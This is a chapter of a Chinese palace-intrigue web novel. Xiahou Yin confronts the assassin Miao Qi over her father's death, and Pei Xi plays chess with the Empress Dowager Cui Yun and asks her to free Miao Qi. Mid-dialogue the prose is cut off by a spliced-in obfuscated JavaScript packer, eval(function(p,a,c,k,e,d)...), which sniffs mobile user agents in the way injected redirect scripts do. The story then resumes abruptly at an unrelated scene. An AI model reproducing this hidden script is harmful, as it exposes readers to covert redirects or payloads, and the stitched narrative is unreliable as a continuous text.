时隔三年,夏侯音仍清晰记得那一夜,她因月事腹痛未用驿馆飨食,至夜,欲唤身侧阿律,却听一向警惕的阿律呼呼酣睡,起身寻至母亲床畔,亦未能唤醒母亲,她心知不妙,和衣出屋,寻至父亲所居院外时,但见值守之人倚门而睡,一黑衣人由窗跃出…… 三年来,夏侯音频频回想起那个月夜所见少女的面孔,那双眼睛一遍遍出现在她梦魇之中,却不想竟在今早真切见着了此人,尽管她昏迷着,但夏侯音笃定是她。 如此猝不及防,以至于这日她在太后面前议事时也频频失神。 “娘娘自有定夺……但我会恳请娘娘治你一死。” 她说罢,一瞬不瞬盯着眼前之人,欲从她眼底窥出丝丝惧色或愧色,可那双眼始终如三年前那夜一般望着她,仿佛空无一物,仿佛普天之下最澄明的一双眼。 “阿律!将她眼睛蒙起来。” 她忽地这般要求,阿律也这般照做。 渺七老老实实任人蒙住双眼,连日的困扰终在此刻化作同一个疑问—— 为何天下有这般多的爹呢? 谢离有爹,他爹因她自作主张而想杀她。沈晏有爹,因爹位高权重他也权势傍身。而今宫中随便见到一人也有爹,因她杀了她爹,她便想让她以死偿命。这般看来,他们每人的爹都给她招来了麻烦。 好在裴皙爹已死了。 可他还有娘,他娘也会给她招来麻烦吗? 渺七想着,一面又伸手摸到桌上,探来一块麻团来吃,浑然忘却手上还沾着颈侧渗出的血。 “……” 夏侯音端起茶盏饮茶,似想平息什么,但见此景唯有深抒口气,叫来听雨替她包扎颈伤。 待听雨退下后,方听夏侯音语气平静说起:“西南段郴拥众叛乱,信王主用兵,过去三年间屡次征讨叛贼,大军疲乏,而今信王又欲出兵,还是镇国公以暴病推脱才暂缓下这事,若你果真叛离信王,便该知晓此时世芝若是前往,定会引起信王猜忌,其时必将招惹麻烦。” 渺七听着这番话,难得没狼吞虎咽,小块品着,好似在思索,良久,什么也没能想明白。 “为何?” “……” 夏侯音重重放下茶盏。 按捺许久,她才耐着性子借着解释:“娘娘一向主张西南结盟,养兵专备瓦剌,镇国公乃是今之云南总兵,亦是太后兄长,自然与娘娘同心,如今称病不过是权宜之计,所以,世芝若是此时请旨前往云南,朝中必有人疑心是娘娘有意令他前往结盟,届时必借题发挥为难娘娘一番。” 话罢,屋中沉寂良晌。 渺七久久才恍然大悟般点点头,却只问:“曲靖也动乱吗?” 夏侯音额角跳了跳:“曲靖安定。” “既如此,他只走到曲靖也不可以吗?” 渺七曾想攒点银钱孤身前往云南,可她不知她究竟能否寻到独眼,也不知独眼究竟能否医好裴皙,更不知裴皙能活到几时。照理说,他早该死了。故而她想裴皙若能亲自前往更好,也许她当真能寻到独眼,独眼也当真能医好他,而他正巧也还没死掉。 然夏侯音听罢竟轻笑声,好若嘲讽,渺七常听人这样对她笑,但却想象不出那种嘲讽神情出现在夏侯音那张温和的面容上是何模样。 “朝堂算计若真如你所想这般简单,便不会死那许多人了……”因见不得渺七的眼睛,夏侯音不知为何又心浮气躁,只觉她所说之话不过对牛弹琴,遂再度冷嘲声,“你为信王办事连这点道理也不知吗?” “但昨日之前,我从不知我是为他办事。” “这么说,你同那座岛上的人一样,只知杀人,不知缘由?” 渺七不语。 夏侯音亦缄默,许久又问:“所以,你一向只听命于人,便不觉得杀死一人是自身罪过,对吗?” 所以那双眼才永远那样无动于衷。 “你杀我父亲之时,也不曾想过他是怎样一人,对吗?” 语气愈发沉重,渺七将手中未吃完的半块麻团放到桌上,不顾阿律先前的警告抬手摘下蒙眼布,一双微微泛红的眼赫然映入眼帘。 是时,屋外一宫女前来传话:“夏侯大人,娘娘召见。” 夏侯音即刻偏过头,起身称是。 - 华萃宫中,裴皙坐于棋枰前与人对弈。 对面执黑棋者年不过四十,顾盼雍容,举止沉静,正是其母崔韫。 二人坐对间,殿内不闻人声,时闻落子,直到裴皙掩唇轻咳两声才传出些微响动。其时崔韫落下一子,闻声问他:“几时又咳了起来?” “昨日淋雨略感风寒,已用过几服祛寒的药。” 崔韫闻言笑了声,语带嘲讽:“拖着这么副不争气的身子骨,还想奔波去云南,是想到时本宫赶去替你收尸吗?” 口吻毫不客气,裴皙听后一笑,道:“舅舅在云南,也可以替我收尸。” “裴皙。” 崔韫难得直呼裴皙大名,虽口吻轻缓如常,但这已然是她动怒的征兆。 毕竟崔太后一向只许她自个儿提他病得快死这事,其余人胆敢提一个字,便是大不敬,即便是裴皙本人。 裴皙仍旧笑着,落下手中棋子,又搬出请旨时的说辞:“正是因为身子骨不争气,这才想前去寻医。” 崔韫亦敲下一子,凤眸似笑非笑:“寻医?本宫记得此前早有人将生死看淡,神棍似的说些不生不灭的话,怎么如今又肯听信这样一个来路不明之人所说的话?” “……”裴皙面不改色道,“她的来路母后应当知晓得很清楚。” 故并非来路不明之人。 崔韫难免失笑:“她的来路难道光彩?”问罢不再看他,顾视棋局,“当年你舅舅苦寻滇境奇医也无可奈何,如今凭空蹦出个不知真假的神医来,你竟丝毫不假怀疑——” 话语教某人的咳嗽声打断,崔韫这才轻叹声,道,“此事本宫自会派人前往,你只需好生静养,如今既已回京,也不必再劳碌回青州。” 裴皙闻言,既不反驳也不附和,只静默下棋。 待到某时,见崔韫久久举棋不定,这才出言道:“母后曾以左氏语教诲儿臣,弈者举棋不定,不胜其耦。” 崔韫放下反复搓捻许久的棋子,瞧着他失笑:“又不曾设赌,你赢了此局又如何?” 裴皙微微垂首,恳请道:“请母后放渺七出宫。” “渺七?”崔韫面带调笑,“你是说本宫那位远房亲戚?” “……” 见他语塞,崔韫嘴角扬得更高:“既是本宫的远房亲戚,本宫请她入宫小叙有何不妥?” 裴皙遂向她认错道:“谎是儿臣所撒。” “自然是你。”崔韫端起小壶兀自斟茶,又说,“若非本宫命飞莺与你传信,她此刻说不准还困在信王府中,如此理应算是本宫救她出来,她留在本宫宫中又有何不妥?” “渺七脾性古怪,母后若强留她,恐惹得您生气。” 崔韫好似听到什么笑话,笑问:“本宫岂会怕她惹我生气?还是说——皙儿你怕本宫惹得她生气?” 裴皙静默须臾,直言不讳:“是。” 他知她生起气来,性命也不顾。 殿中一阵沉寂。渐渐地,崔韫收敛起笑意,凝神问他:“皙儿,你脑中究竟在想些什么?” “儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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想到华湘,渺七难免又困惑番,但她一如既往地想不明白。 渺七趴至桌上,牵引痛后背的箭伤也只面无表情眨眨眼,趴上许久,忽而想到什么,扭头问坐来一旁陪她的听雨:“可以给我支笛子吗?” 她想起离开青州时,她曾因吹笛而心绪平静许多。 听雨对她有求必应,转头教人去找笛子,不会儿,冬雪便取来根笛子交给渺七,其后几人便见渺七坐去廊下吹起笛来。 一吹便是整个下午,从廊下吹到床榻上,奏笛时听雨等人皆离她远远儿的,只不时来送一壶热茶给她解渴。 待到翌日,听雨为渺七换完药,渺七又问:“太后今日还不见我吗?” “太后事务繁忙——” 渺七没听她说完,接着吹笛,先是百无聊赖坐在殿前月台上吹了半个早上,其后倏地停下奏笛,观望起庭中松树,看上许久忽又起身走去树下,攀住树干迳自上爬,暗处观察的一众人忙跑来庭中唤她:“姑娘!” 渺七抱住树干下视,老实道:“我不跑。” 树下众人唯有紧蹙眉头仰望,见她爬上树立至树梢上才松口气,然后团团围住守在树下。 松枝扶疏,日光炽白,渺七站立在随风晃动的斑驳光影间,双目茫然。 她原以为爬上庭树便可以看得更远,可极目之处,仍是琉璃瓦与宫墙,高墙间零落露出几丛绿枝。 渺七仰头,窸窣针叶之外,几团厚云随风疾行,渺七追随着其中一团看,脖颈轻转,树下的宫人们见状也将头仰得更高,随之扭头。 浮云飞去,天光乍暗忽明。 曝昳白日下,冬雪惊呼道:“不好,人不见了!”